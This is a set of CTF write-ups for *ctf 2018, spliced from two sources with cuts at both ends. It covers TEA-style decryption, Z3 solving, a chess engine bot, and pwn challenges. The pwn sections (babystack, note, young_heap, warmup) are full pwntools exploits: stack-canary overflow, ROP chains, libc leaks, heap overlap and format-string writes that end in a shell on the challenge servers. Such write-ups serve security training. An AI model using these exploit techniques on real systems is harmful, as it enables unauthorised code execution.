i0; i0 = p1; l21 = i0; i0 = 2654435769u; l32 = i0; i0 = 0u; l43 = i0; i0 = 0u; l54 = i0; L1: i0 = l54; l58 = i0; i0 = l58; i1 = 32u; i0 = i0 < i1; l59 = i0; i0 = l59; i0 = !(i0); if (i0) { goto B2; } i0 = l32; l60 = i0; i0 = l43; l0 = i0; i0 = l0; i1 = l60; i0 += i1; l1 = i0; i0 = l1; l43 = i0; i0 = l10; l2 = i0; i0 = l2; i1 = 4u; i0 += i1; l3 = i0; i0 = l3; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l4 = i0; i0 = l4; i1 = 3u; i0 <<= (i1 & 31); l5 = i0; i0 = l21; l6 = i0; i0 = l6; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l7 = i0; i0 = l5; i1 = l7; i0 ^= i1; l8 = i0; i0 = l10; l9 = i0; i0 = l9; i1 = 4u; i0 += i1; l11 = i0; i0 = l11; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l12 = i0; i0 = l43; l13 = i0; i0 = l12; i1 = l13; i0 += i1; l14 = i0; i0 = l8; i1 = l14; i0 ^= i1; l15 = i0; i0 = l10; l16 = i0; i0 = l16; i1 = 4u; i0 += i1; l17 = i0; i0 = l17; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l18 = i0; i0 = l18; i1 = 5u; i0 >>= (i1 & 31); l19 = i0; i0 = l21; l20 = i0; i0 = l20; i1 = 4u; i0 += i1; l22 = i0; i0 = l22; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l23 = i0; i0 = l19; i1 = l23; i0 += i1; l24 = i0; i0 = l15; i1 = l24; i0 ^= i1; l25 = i0; i0 = l10; l26 = i0; i0 = l26; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l27 = i0; i0 = l27; i1 = l25; i0 += i1; l28 = i0; i0 = l26; i1 = l28; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l10; l29 = i0; i0 = l29; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l30 = i0; i0 = l30; i1 = 3u; i0 <<= (i1 & 31); l31 = i0; i0 = l21; l33 = i0; i0 = l33; i1 = 8u; i0 += i1; l34 = i0; i0 = l34; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l35 = i0; i0 = l31; i1 = l35; i0 ^= i1; l36 = i0; i0 = l10; l37 = i0; i0 = l37; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l38 = i0; i0 = l43; l39 = i0; i0 = l38; i1 = l39; i0 += i1; l40 = i0; i0 = l36; i1 = l40; i0 ^= i1; l41 = i0; i0 = l10; l42 = i0; i0 = l42; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l44 = i0; i0 = l44; i1 = 5u; i0 >>= (i1 & 31); l45 = i0; i0 = l21; l46 = i0; i0 = l46; i1 = 12u; i0 += i1; l47 = i0; i0 = l47; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l48 = i0; i0 = l45; i1 = l48; i0 += i1; l49 = i0; i0 = l41; i1 = l49; i0 ^= i1; l50 = i0; i0 = l10; l51 = i0; i0 = l51; i1 = 4u; i0 += i1; l52 = i0; i0 = l52; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l53 = i0; i0 = l53; i1 = l50; i0 += i1; l55 = i0; i0 = l52; i1 = l55; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l54; l56 = i0; i0 = l56; i1 = 1u; i0 += i1; l57 = i0; i0 = l57; l54 = i0; goto L1; B2:; i0 = l62; g10 = i0; goto Bfunc; Bfunc:; FUNC_EPILOGUE;} static void f11(u32 p0, u32 p1) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0; FUNC_PROLOGUE; u32 i0, i1; i0 = g10; l21 = i0; i0 = g10; i1 = 16u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 16u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = p0; l10 = i0; i0 = p1; l13 = i0; i0 = l13; l14 = i0; i0 = l14; i1 = 255u; i0 &= i1; l15 = i0; i0 = l10; l16 = i0; i0 = l16; i1 = l15; i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l13; l17 = i0; i0 = l17; i1 = 8u; i0 >>= (i1 & 31); l18 = i0; i0 = l18; i1 = 255u; i0 &= i1; l19 = i0; i0 = l10; l0 = i0; i0 = l0; i1 = 1u; i0 += i1; l1 = i0; i0 = l1; i1 = l19; i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l13; l2 = i0; i0 = l2; i1 = 16u; i0 >>= (i1 & 31); l3 = i0; i0 = l3; i1 = 255u; i0 &= i1; l4 = i0; i0 = l10; l5 = i0; i0 = l5; i1 = 2u; i0 += i1; l6 = i0; i0 = l6; i1 = l4; i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l13; l7 = i0; i0 = l7; i1 = 24u; i0 >>= (i1 & 31); l8 = i0; i0 = l8; i1 = 255u; i0 &= i1; l9 = i0; i0 = l10; l11 = i0; i0 = l11; i1 = 3u; i0 += i1; l12 = i0; i0 = l12; i1 = l9; i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l21; g10 = i0; goto Bfunc; Bfunc:; FUNC_EPILOGUE;} static u32 _check(u32 p0) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0, l22 = 0, l23 = 0, l24 = 0, l25 = 0, l26 = 0, l27 = 0, l28 = 0, l29 = 0, l30 = 0, l31 = 0, l32 = 0, l33 = 0, l34 = 0, l35 = 0, l36 = 0, l37 = 0, l38 = 0; FUNC_PROLOGUE; u32 i0, i1, i2, i3; i0 = g10; l36 = i0; i0 = g10; i1 = 160u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 160u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = l36; i1 = 144u; i0 += i1; l22 = i0; i0 = l36; i1 = 120u; i0 += i1; l28 = i0; i0 = l36; i1 = 8u; i0 += i1; l30 = i0; i0 = p0; l11 = i0; i0 = l11; l32 = i0; i0 = l32; i0 = (*Z_envZ__strlenZ_ii)(i0); l33 = i0; i0 = l33; i1 = 24u; i0 = i0 != i1; l1 = i0; i0 = l1; if (i0) { i0 = 0u; l0 = i0; i0 = l0; l27 = i0; i0 = l36; g10 = i0; i0 = l27; goto Bfunc; } i0 = l22; l34 = i0; i0 = (*Z_envZ_memoryBaseZ_i); i1 = 96u; i0 += i1; l37 = i0; i0 = l34; 144 i1 = 16u; i0 += i1; l38 = i0; L2: i0 = l34; i1 = l37; i1 = i32_load8_s(Z_envZ_memory, (u64)(i1)); i32_store8(Z_envZ_memory, (u64)(i0), i1); i0 = l34; i1 = 1u; i0 += i1; l34 = i0; i0 = l37; i1 = 1u; i0 += i1; l37 = i0; i0 = l34; i1 = l38; i0 = (u32)((s32)i0 < (s32)i1); if (i0) {goto L2;} i0 = l11; l2 = i0; i0 = l28; 120 i1 = l2; plaintext i2 = 4u; 4 i3 = l22; 144 key? _EncryptCBC(i0, i1, i2, i3); i0 = 0u; l29 = i0; i0 = l30; l34 = i0; i0 = (*Z_envZ_memoryBaseZ_i); i1 = 0u; i0 += i1; l37 = i0; i0 = l34; i1 = 96u; i0 += i1; l38 = i0; L3: i0 = l34; i1 = l37; i1 = i32_load(Z_envZ_memory, (u64)(i1)); i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l34; i1 = 4u; i0 += i1; l34 = i0; i0 = l37; i1 = 4u; i0 += i1; l37 = i0; i0 = l34; i1 = l38; i0 = (u32)((s32)i0 < (s32)i1); if (i0) {goto L3;} i0 = 0u; l29 = i0; L4: i0 = l29; l3 = i0; i0 = l3; i1 = 3u; i0 = (u32)((s32)i0 < (s32)i1); l4 = i0; i0 = l4; i0 = !(i0); if (i0) { i0 = 11u; l35 = i0; goto B5; } i0 = 0u; l31 = i0; L7: i0 = l31; l5 = i0; i0 = l5; i1 = 8u; i0 = (u32)((s32)i0 < (s32)i1); l6 = i0; i0 = l29; l7 = i0; i0 = l6; i0 = !(i0); if (i0) { goto B8; } i0 = l7; i1 = 3u; i0 <<= (i1 & 31); l8 = i0; i0 = l31; l9 = i0; i0 = l8; i1 = l9; i0 += i1; l10 = i0; i0 = l28; i1 = l10; i0 += i1; l12 = i0; i0 = l12; i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l13 = i0; i0 = l13; i1 = 255u; i0 &= i1; l14 = i0; i0 = l29; l15 = i0; i0 = l15; i1 = 3u; i0 <<= (i1 & 31); l16 = i0; i0 = l16; i1 = 7u; i0 += i1; l17 = i0; i0 = l31; l18 = i0; i0 = l17; i1 = l18; i0 -= i1; l19 = i0; i0 = l30; cipher i1 = l19; i2 = 2u; i1 <<= (i2 & 31); i0 += i1; l20 = i0; i0 = l20; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l21 = i0; i0 = l14; i1 = l21; cipher[pos] i0 = i0 != i1; l23 = i0; i0 = l23; if (i0) { i0 = 8u; l35 = i0; goto B5; } i0 = l31; l24 = i0; i0 = l24; i1 = 1u; i0 += i1; l25 = i0; i0 = l25; l31 = i0; goto L7; B8:; i0 = l7; i1 = 1u; i0 += i1; l26 = i0; i0 = l26; l29 = i0; goto L4; B5:; i0 = l35; i1 = 8u; i0 = i0 == i1; if (i0) { i0 = 0u; l0 = i0; i0 = l0; l27 = i0; i0 = l36; g10 = i0; i0 = l27; goto Bfunc; } else { i0 = l35; i1 = 11u; i0 = i0 == i1; if (i0) { i0 = 1u; l0 = i0; i0 = l0; l27 = i0; i0 = l36; g10 = i0; i0 = l27; goto Bfunc; } } i0 = 0u; goto Bfunc; Bfunc:; FUNC_EPILOGUE; return i0;}```The first thing come out in my mind is that It's [TEA](https://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm). But there some difference. The encryption function in this challenge is```c=void encrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */ uint32_t delta=0x9e3779b9; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i < 32; i++) { /* basic cycle start */ sum += delta; v0 += ((v1<<3) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); v1 += ((v0<<3) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); } /* end cycle */ v[0]=v0; v[1]=v1;}```Now it's easy to write a decryption script```python=from pwn import *A=[0x99, 0x00, 0x00, 0x00, 0x77, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xbd, 0x00, 0x00, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x87, 0x00, 0x00, 0x00, 0x35, 0x00, 0x00, 0x00, 0x55, 0x00, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, 0x79, 0x00, 0x00, 0x00, 0x1d, 0x00, 0x00, 0x00, 0xf6, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0xb9, 0x00, 0x00, 0x00, 0xd6, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0x93, 0x00, 0x00, 0x00, 0xcb, 0x00, 0x00, 0x00, 0xd8, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0xe3, 0x00, 0x00, 0x00]def decrypt(v,k): v0=v[0] v1=v[1] asum=0xC6EF3720 delta=0x9e3779b9 k0=k[0] k1=k[1] k2=k[2] k3=k[3] for i in range(32) : v1 -= ((v0<<3) ^ k2) ^ (v0 + asum) ^ ((v0>>5) + k3) v1 %=(2**32) v0 -= ((v1<<3) ^ k0) ^ (v1 + asum) ^ ((v1>>5) + k1) v0 %=(2**32) asum -= delta asum %= (2**32) return v0,v1 cipher=[A[i] for i in range(0,len(A),4)]cipher="".join(map(chr,cipher)) key="webasmintersting"k=[u32(key[i:i+4]) for i in range(0,len(key),4)] flag=""for i in range(3): vv=cipher[i*8:(i+1)*8][::-1] v=[u32(vv[i:i+4]) for i in range(0,len(vv),4)] a,b=decrypt(v,k) flag+=p32(a)+p32(b)print flag# *ctf{web4ss3mbly_1s_god}``` ### milktea (sasdf) ```python=import struct with open('milktea', 'rb') as f: data = f.read() keys = data[0x10C0:0x11A8] ct = data[0x1080:0x10B8]keys = struct.unpack('<' + 'I' * (len(keys) // 4), keys)keys = [keys[i:i+2] for i in range(0, len(keys), 2)]ct = struct.unpack('<' + 'I' * (len(ct) // 4), ct) # Fake memcmpxx = [ 0x0BF7AC52, 0x801135AA, 0x5341B12E, 0x8C284278, 0x879413EE, 0xF0D4BB6A, 0x3336515C, 0x1498DC7D, 0x0BE8AD86, 0x310FE5B8, 0x3DEEAFD4, 0x5603371B, 0x00000000, 0x00000000,]ct = [c ^ x for c, x in zip(ct, xx)]ct = [ct[i:i+2] for i in range(0, len(ct), 2)] sbox = [ 0x206D2749, 0x69622061, 0x61662067, 0x666F206E, 0x70657320, 0x6D657974, 0x37633634, 0x66336265, 0x63383538, 0x66373331, 0x66646239, 0x65356166, 0x38386630, 0x39386530, 0x62623935, 0x35366532, ] mask = 0xffffffff # Encyption sanity checklow, = struct.unpack('<I', 'aaaa')high = low for key in keys: high = ( ( (key[0] + sbox[low & 0xF]) ^ (low + ((low >> 5) ^ (low << 4))) ) + high ) & mask low = ( ( (key[1] + sbox[high & 0xF]) ^ (high + ((high >> 5) ^ (high << 4))) ) + low ) & maskres = low << 32 | high assert(res == 0xd5c62ef45e60fe03) # Decrypt flagplain = ''for c in ct: high, low = c for key in reversed(keys): low = ( low - ( (key[1] + sbox[high & 0xF]) ^ (high + ((high >> 5) ^ (high << 4))) ) ) & mask high = ( high - ( (key[0] + sbox[low & 0xF]) ^ (low + ((low >> 5) ^ (low << 4))) ) ) & mask res = high << 32 | low plain += struct.pack('<Q', res)print(repr(plain))``` ## pwn ### babystack (sces60107) In this challenge, you can overflow the stack canary.So you won't trigger `__stack_chk_fail` ```python=from pwn import *import hashlibimport itertoolsimport stringimport osimport timer=remote("47.91.226.78", 10005)#env = {'LD_PRELOAD': os.path.join(os.getcwd(),'./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253')}#r=process("./bs",env=env)#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']#gdb.attach(proc.pidof(r)[0],'b *'+hex(0x400a9b)+'\nc\n') def proofwork(): r.recvuntil('sha256(xxxx+') a=r.recvline() print a proof=a.split(" ")[-1] x=a.split(")")[0] proof=proof.strip() print r.recvuntil("xxxx:\n") for i in itertools.product(string.ascii_letters+string.digits,repeat=4): test="".join(i)+x k=hashlib.sha256() k.update(test) if k.hexdigest()==proof: print "find" r.sendline("".join(i)) breakproofwork() main=0x4009e7poprdi=0x400c03poprsi=0x400c01read=0x4007e0atoigot=0x601ff0putsgot=0x601fb0putplt=0x4007c0buf=0x602f00leave=0x400955p1=p64(poprdi)+p64(putsgot)+p64(putplt)p2=p64(poprdi)+p64(0)+p64(poprsi)+p64(buf+0x8)+p64(0)+p64(read)+p64(leave)payload=p1+p2 # You can overflow the stack canary, the stack canary offset is 0x6128print r.recvuntil("How many bytes do you want to send?")r.sendline(str(6128))r.send("a"*4112+p64(buf)+payload+"a"*(6128-4120-len(payload))) # The first part of payload leak the libc baser.recvuntil("It's time to say goodbye.\n")libbase=u64(r.recvline()[:6]+"\x00\x00")-0x6f690print hex(libbase)system=libbase+0x45390binsh=libbase+0x18cd57 # Using stack migration, you input payload againr.sendline(p64(poprdi)+p64(binsh)+p64(system)) r.interactive()# *ctf{h4ve_fun_w1th_0ld_tr1ck5_in_2018}``` ### note (sces60107) You can find out the null-byte overflow in Edit note. Then you also notice that the format string address is on the stack. You can overwrite it. Cause the wrong rbp value, you can overwrite return value when calling scanf. ```python=from pwn import *import hashlibimport itertoolsimport stringimport osimport timer=remote("47.89.18.224", 10007)#env = {'LD_PRELOAD': os.path.join(os.getcwd(),'./libc.so.6')}#r=process("./note",env=env)#context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] def proofwork(): r.recvuntil('sha256(xxxx+') a=r.recvline() print a proof=a.split(" ")[-1] x=a.split(")")[0] proof=proof.strip() print r.recvuntil("xxxx:\n") for i in itertools.product(string.ascii_letters+string.digits,repeat=4): test="".join(i)+x k=hashlib.sha256() k.update(test) if k.hexdigest()==proof: print "find" r.sendline("".join(i)) break proofwork()s=0x401129fd=0x602140printgot=0x601F90poprdi=0x401003 # Not importantr.recvuntil("Input your ID:")r.send(cyclic(256)) # You can trigger null-byte overflow# They put "%d" address on the stack, but rbp is different cause null-byte overflow. Now you can assign other format string. I choose %256sr.recvuntil("> ")r.sendline("1")r.recvuntil("Note:")r.sendline("a"*168+p64(s)+"a"*(256-176))r.recvuntil("> ") # Now the note address can be changed, I have arbitrary read. Just leak libc base address.r.sendline(p32(2)+p64(s)+p64(printgot))r.recvuntil("Note:")heapbase=r.recvline()print heapbase.encode("hex")libbase=u64(heapbase[:6]+"\x00\x00")-0x6f690print hex(libbase)system=libbase+0x45390binsh=libbase+0x18cd57 # You overwrite the return address when you call scanfr.recvuntil("> ")r.sendline("a"*100+p64(poprdi)+p64(binsh)+p64(system))r.interactive()# *ctf{n0te_helps_y0u_use_scanf}``` ### young_heap (4w4rd sces60107) ```python=from pwn import * # r = process('./young_heap')r = remote('47.89.11.82', 10009) r.recvuntil('xxxx+')suffix = r.recv(16)# suffix = 'OWSh3smUNo6dzei7'r.recvuntil(' == ')ans = r.recvuntil('\n')[:-1]# ans = '4dff4cca83f525f0053b69ee61571a04a561293992c3b3ba9cd3dc785c1def16'x = string.letters + string.digitsb = 0for c1 in x: for c2 in x: for c3 in x: for c4 in x: if hashlib.sha256(c1+c2+c3+c4+suffix).hexdigest() == ans: print c1+c2+c3+c4 r.sendline(c1+c2+c3+c4) b = 1 break if b == 1: break if b == 1: break if b == 1: break# r.interactive() def new_heap(size,cont): r.sendlineafter('>> ','1') r.sendlineafter(' :',str(size)) r.sendafter(' :',cont) def edit(idx,cont): r.sendlineafter('>> ','2') r.sendlineafter(' :',str(idx)) r.sendafter(' :',cont) def delete(idx): r.sendafter('>> ','3') r.sendafter(' :',str(idx)) new_heap(0x400,'a'*0x400) #0new_heap(0x400,'a'*0x400) #1new_heap(0x400,'a'*0x400) #2new_heap(0x400,'a'*0x400) #3 # delete(1)# delete(0)# r.interactive()edit(0,'a'*0x400+'\x01\x00')edit(1,'a'*0x400+'\x21\x08')delete(0)delete(2)edit(1,'a'*0x400+'\xa1')# new_heap(0x90)delete(1)# r.interactive()# edit(1,p64(0)+p64(0x10000))# delete(2)printf_plt = 0x4008a0addr = 0x602068new_heap(0x810,'%13$p\n\x00'+'a'*(0x400-7)+p64(0)+p64(0x410)+p64(addr)) #0new_heap(0x400,'a') #1new_heap(0x400,p64(printf_plt)) #2delete(0)l = int(r.recvuntil('\n').strip(),16)# print hex(l)libc = l - 0x20830system = libc + 0x45390print hex(libc)print hex(system) def fmt_att(fmt): new_heap(0x100, fmt) # 0 delete(0)# r.interactive()# get address here# r.interactive()\n# 15 & 41 & 42fmt_att('%15$p\n\n')base = int(r.recvuntil('\n').strip(),16)print hex(base)fmt_att('%15$s\n\n')k = u64(r.recvuntil('\n')[:-1].ljust(8,'\x00'))print hex(k)attack_point = base + 8fmt_att("%"+str((attack_point+2)&0xffff)+'c%15$hn')fmt_att("%"+str(0x60)+'c%41$hn')fmt_att("%"+str(attack_point&0xffff)+'c%15$hn')fmt_att("%"+str(0x20e0)+'c%41$hn')# fmt_att("%42$s\n\n")# k = u64(r.recvuntil('\n')[:-1].ljust(8,'\x00'))# print hex(k)# print hex(system&0xffff)fmt_att('%'+str(0x2060)+'c%42$hn')fmt_att("%"+str(0x20e2)+'c%41$hn')fmt_att('%'+str(0x60)+'c%42$hn')edit(4,p64(system))# fmt_att("%42$p")# new_heap(0x100,'%15$ln')#0# delete(0)r.interactive() ``` ## web ### simpleweb (how2hack)I use Z3 to find the solution for this challenge.```python#!/usr/bin/env python from z3 import * value = [BitVec("val_%d" % i, 32) for i in range(5)] s = Solver()for i in range(5): s.add(value[i] >= 0) s.add(value[i] <= 127) s.add(((((value[0]+value[1])*0x100+(value[1]+value[2]))*0x100+(value[2]+value[3]))*0x100+(value[3]+value[4])) == 0x23332333) if s.check() != sat: print "unsat"else: while s.check() == sat: print s.model() s.add(Or(value[0] != s.model()[value[0]], value[1] != s.model()[value[1]], value[2] != s.model()[value[2]], value[3] != s.model()[value[3]], value[4] != s.model()[value[4]])) '''[val_3 = 18, val_2 = 17, val_0 = 1, val_1 = 34, val_4 = 33][val_4 = 32, val_1 = 35, val_0 = 0, val_2 = 16, val_3 = 19][val_4 = 48, val_1 = 19, val_0 = 16, val_2 = 32, val_3 = 3][val_4 = 50, val_1 = 17, val_0 = 18, val_2 = 34, val_3 = 1][val_4 = 49, val_1 = 18, val_0 = 17, val_2 = 33, val_3 = 2][val_4 = 51, val_1 = 16, val_0 = 19, val_2 = 35, val_3 = 0][val_4 = 44, val_1 = 23, val_0 = 12, val_2 = 28, val_3 = 7][val_4 = 46, val_1 = 21, val_0 = 14, val_2 = 30, val_3 = 5][val_4 = 45, val_1 = 22, val_0 = 13, val_2 = 29, val_3 = 6][val_4 = 47, val_1 = 20, val_0 = 15, val_2 = 31, val_3 = 4][val_4 = 40, val_1 = 27, val_0 = 8, val_2 = 24, val_3 = 11][val_4 = 42, val_1 = 25, val_0 = 10, val_2 = 26, val_3 = 9][val_4 = 41, val_1 = 26, val_0 = 9, val_2 = 25, val_3 = 10][val_4 = 43, val_1 = 24, val_0 = 11, val_2 = 27, val_3 = 8][val_4 = 36, val_1 = 31, val_0 = 4, val_2 = 20, val_3 = 15][val_4 = 38, val_1 = 29, val_0 = 6, val_2 = 22, val_3 = 13][val_4 = 37, val_1 = 30, val_0 = 5, val_2 = 21, val_3 = 14][val_4 = 39, val_1 = 28, val_0 = 7, val_2 = 23, val_3 = 12][val_4 = 34, val_1 = 33, val_0 = 2, val_2 = 18, val_3 = 17][val_4 = 35, val_1 = 32, val_0 = 3, val_2 = 19, val_3 = 16]'''```There are multiple solutions. However, Javascript Array.sort() is a weird function... It sort the array in alphabetical order even for numbers, which means '12' < '4'. So the only solution is `[val_4 = 47, val_1 = 20, val_0 = 15, val_2 = 31, val_3 = 4]`. Flag: `*ctf{web_chal_made_by_binary_players_lol}` ## misc ### welcome (bookgin) Install: http://www.ecs.umass.edu/ece/koren/architecture/Simplescalar/SimpleScalar_introduction.htmRun: `./sim-fast ../1355a2b7-44dc-451f-a826-6debe8467923.welcome`Flag: `*ctf{we1_t0_*ctf}` ### warmup (sces60107) It's a easy challenge ```python=from pwn import *import osr=remote("47.91.226.78", 10006)#env = {'LD_PRELOAD': os.path.join(os.getcwd(),'./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253')}#r=process("./warmup",env=env)#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']#gdb.attach(proc.pidof(r)[0],'b *'+hex(0x400961)+'\nc\n') poprdi=0x400a63main=0x4008b9putsgot=0x600fa8putsplt=0x4006d8 # you can read whatever you wantprint r.recvuntil("What are you looking for?")r.sendline(str(putsgot))print r.recvline()libbase=int(r.recvline(),16)-0x6f690 # compute system addresssystem=libbase+0x45390poprdi=libbase+0x21102binsh=libbase+0x18cd57print hex(libbase) # Easy stack overflowprint r.recvuntil("What's your name?")r.sendline("a"*40+p64(poprdi)+p64(binsh)+p64(system)) r.interactive()# *ctf{h0pe_th1s_e4zy_gam3_warm_y0u_up}``` ## ppc ### magic_number (b04902036) simply use a binary search ```python#!/usr/bin/python from pwn import * host = '47.89.18.224'port = 10011 r = remote(host, port)count = 0while(1): count += 1 r.recvuntil(': n = ') n = int(r.recvuntil('\n').strip()) dic = dict() send_num = 0 ans = [] same = 0 same_ans = 0 for i in range(n): if(same > 0): same -= 1 for item in total: dic[(item[0], item[1])] -= 1 ans.append(same_ans) continue total = set() start = 0 end = 1024 prenum = n - i while(1): mid = (start + end) // 2 if((start, mid) in dic): num = dic[(start, mid)] else: send_num += 1 r.sendline('? ' + str(start) + ' ' + str(mid)) num = int(r.recvuntil('\n').strip()) dic[(start, mid)] = num if(num > 0): prenum = num total.add((start, mid)) dic[(start, mid)] -= 1 end = mid if(mid - start == 1): same = num - 1 same_ans = start ans.append(start) break else: start = mid if(end - mid == 1): same = prenum - 1 same_ans = mid ans.append(mid) break msg = '!' for i in ans: msg += ' ' + str(i) r.sendline(msg) if(count == 10): breakr.interactive()``` Flag: *ctf{magic algorithm produces magic numbers!} ### Chess Master (bookgin) We use WCCC 2017 champion komodo as our engine. The code is very dirty. We use wireshark to record the last packet and get flag. ```python#!/usr/bin/env python3# Python 3.6.4 from pwn import *import stringimport hashlibimport chess # https://github.com/niklasf/python-chessimport chess.uci as uci komodo = './komodo-9.02-linux' def PoW(): r.recvuntil('sha256(xxxx+') x = r.recvuntil(') ==', drop=True).decode() y = r.recvline().decode() y = y[:-1] print(x) print(y) s = string.ascii_letters+string.digits for i in s: for j in s: for k in s: for l in s: h = hashlib.sha256() guess = (i+j+k+l+x).encode() h.update(guess) z = h.hexdigest() if z == y: print(guess) r.sendline(i+j+k+l) break def parseBoard(s, rnd=0, turn='w'): fen = '' cnt = 0 for c in (s.strip() + '\n').replace(' ', '').replace('\n', '/'): if c == '.': cnt += 1 else: if cnt != 0: fen += str(cnt) cnt = 0 fen += c fen = fen.strip('/') return chess.Board(f"{fen} {turn} KQkq - 3 {rnd}") engine = uci.popen_engine(komodo)engine.uci()print(f'loaded "{engine.name}"') r = remote('47.89.11.82', 10012)PoW()print('[+] PoW Done')r.recvuntil('game starts\n')engine.ucinewgame() win_times = 0 # Use wireshark to record packet and get flag XDwhile True: print(win_times) buf = r.recvuntil('input your move(like e2e4):', drop=True).decode() if 'you win' in buf: win_times += 1 buf = buf[buf.find('game starts\n')+len('game starts\n'):] raw_board = buf board = parseBoard(raw_board) engine.position(board) best_move, ponder_move = engine.go(movetime=50) r.sendline(str(best_move)) #buf = r.recv(16) #if b'win' in buf: # break #print(buf) engine.quit()``` Flag: `*ctf{chess_is_s0_ea5y}` ## crypto ### primitive (sasdf) ```python=from pwn import *import numpy as npimport itertools as itimport stringfrom hashlib import sha256import multiprocessing as mpfrom PoW import remote # Connect to game server & PoWr = remote('47.75.4.252', 10001) # Cipher operationsdef add(a, b): return (a + b) & 0xff def rot(a, b): return (a>>(8-b) & 0xff) | ((a<<b) & 0xff) def xor(a, b): return (a ^ b) def msb(a): return a & 0x80 def mask(a, b): return a & (0xff << b) & 0x7f msk = 0 # How many bits at the end is OKsft = 0 # How many times we rotate the bytes. def setMSB(): global msk, ct, pt while True: # Find which char's MSB needs to be flip. flip = [msb(p) != msb(c) for p, c in zip(pt, ct)] if not any(flip): return # Get first char that needs to be flip. idx = next(i for i, e in enumerate(flip) if e) cur = mask(ct[idx], msk) # Make sure we won't flip some MSB that shouldn't be flip. while any(mask(c, msk) == cur for c, f in zip(ct, flip) if not f): if msk <= 0: raise ValueError('Conflict') msk -= 1 cur = mask(ct[idx], msk) # Make all bits in range [msk, 7] of target char to be 1. cur = mask(~cur, msk) assert(cur >= 0 and cur < 256) r.sendline(('2 %d' % cur).rjust(9, '0')) # Use carry to flip MSB of target char. assert((1 << msk) >= 0 and (1 << msk) < 256) r.sendline(('0 %d' % (1<
# ▼▼▼SimpleWeb(Web132pts)132/146=90.4%▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)** **【Environment】** I built an environment of Node.js **【Extract only necessary parts in source code and fix】** ```//var net = require('net'); flag='fake_flag'; ok = true;//data="1 33.75 80.75 81.75 97.25";arr = data.toString().split(' ');arr = arr.map(Number);console.log(arr); if (arr.length != 5) ok = false;arr1 = arr.slice(0);arr1.sort();for (var i=0; i<4; i++) if (arr1[i+1] == arr1[i] || arr[i] < 0 || arr1[i+1] > 127) ok = false;arr2 = []for (var i=0; i<4; i++){ arr2.push(arr1[i] + arr1[i+1]); console.log(i); console.log(arr1[i],arr1[i+1]); console.log(arr2);}val = 0; //---- //arr2=[35,51,35,51];・・・・・・・・・・・①//arr2=[34.75,114.5,162.5,179]; console.log(arr2); for (var i=0; i<4; i++){ val = val * 0x100 + arr2[i]; console.log("val:"+val);} console.log("gol:"+0x23332333); if (val != 0x23332333) ok = false;if (ok) console.log(flag+'\n');else console.log('nope\n');``` --- **【Apply an integer manually so as not to exceed the value from before at local environment】** arr2=[35,0,0,0]; ↓ arr2=[35,51,0,0]; ↓ arr2=[35,51,35,0]; ↓ arr2=[35,51,35,51]; ↓ It was not in descending order of value --- **【Manually search so that the values are in descending order Considering decimals】** arr2=[34.75,0,0,0]; ↓ arr2=[34.75,114.5,0,0]; ↓ arr2=[34.75,114.5,162.5,0]; ↓ arr2=[34.75,114.5,162.5,179]; ↓ OK --- **【Find arr1 from arr2 at local environment】** [34.75,114.5,162.5,179]; ↓ in descending order [ 1, 33.75, 80.75, 81.75, 97.25 ] --- **【Just to be sure running in a local environment】** ```[ 1, 33.75, 80.75, 81.75, 97.25 ]01 33.75[ 34.75 ]133.75 80.75[ 34.75, 114.5 